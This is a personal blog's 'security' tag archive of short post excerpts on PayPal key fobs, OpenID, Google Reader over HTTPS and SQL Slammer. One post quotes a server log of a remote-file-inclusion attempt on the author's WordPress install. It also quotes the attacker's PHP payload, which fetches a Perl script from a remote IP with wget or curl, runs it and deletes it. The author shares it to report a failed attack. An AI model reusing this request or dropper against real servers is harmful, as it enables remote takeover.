Tag Archives: security

boredom, let’s write about…

I got my PayPal security key today. My PayPal and eBay accounts are now more secure I believe, not that I use either of them often, if only rarely. But if I ever lose the FOB I will be SOL for at least a week, and of course probably have to deal with [...]

AOL

Huzzah! AOL is supporting OpenID, which is huge. [via] [via]
I don’t know how many users they have but it was once 26+ million. I wonder how many websites this year will now integrate OpenID support to tap this new resource? Let the flood of users begin.
A Key point for AOL users;
“Every AOL/AIM [...]

goog reader

Do you use the Google Reader?
Try accessing it using https instead of http. Does it render properly? Does it function the same?
https://www.google.com/reader/view/
http://www.google.com/reader/view/
So I sent Google an email requesting some feedback.

Hi
I tried to access reader using https instead of plain http, as I am currently using an open WIFI connection in a hotel.
Alas https://www.google.com/reader/view/
does [...]

script kiddies go home.

Yeesh, another day another set of lame attacks. This hack attempt tries to use BBCodeFile. This one like the first one from last week, attempts to join an IRC botnet. Attempts to get files from the full-comandos.com website. Also contains the following text in the files it attempts to download. [...]

dad proof software

dad
software
installation
easy of use
too many questions
prompts
simpler
allowing new software through the firewall
dad proof
Those are just a few thoughts I had before writing this post about how software companies make software difficult for some fathers out in the world.
After turning on a computer, and logging in, really the only question which should be presented to you should be;
What [...]

someone being bad

I noticed someone/thing trying to do something nasty to my wordpress install. Good thing nothing happened.

px.ns1.net 217.9.84.137 - - [07/Sep/2006:19:25:33 -0700] "GET //tags/tags.php?BBCodeFile=http://208.10.22.70/spread.txt? HTTP/1.1" 404 37655 "-" "libwww-perl/5.79" -/- (-%) VLOG=-

The payload of the file is.

< ?
passthru(’cd /tmp;wget http://208.10.22.70/images/shbb.txt;perl shbb.txt;rm -f shbb.txt*’);
passthru(’cd /tmp;curl -O http://208.10.22.70/images/shbb.txt;perl shbb.txt;rm -f shbb.txt*’);
passthru(’cd /tmp;lwp-download http://208.10.22.70/images/shbb.txt;perl shbb.txt;rm -f shbb.txt*’);
passthru(’cd /tmp;lynx [...]

OpenID Bounty

I can’t wait to see how OpenID will be intergrated with and web based software designed for it. OpenID posted a bounty for getting other software projects into using their distributed identity framework. US$5000 to ten projects that meet the requirements. I just got OpenID working earlier with my Wordpress install. [...]

comment support working again.

OK, I believe the comments should be fixed now and OpenID should also be working too. Using my own livejournal account, it works fine.  I would appreciate it if you have a chance to please try and leave a comment with your own LJ account or working OpenID setup.

AOL AIM NEW TOS. EAVESDROPPING AOK!

http://www.benstanfield.com/thrash/2005/03/aol_eavesdrops_.html

MS vs. SQL Slammer “Egg on your face”

After reading this article, I remembered back a year ago when MS said they were going to make computers more “trustworthy.” Well, they haven’t, and it doesn’t look like its going to be anytime soon. Even MS got hit with the SQL Slammer worm on their internal networks.

Bad Behavior has blocked 2061 access attempts in the last 7 days.

>>>>>>> .r246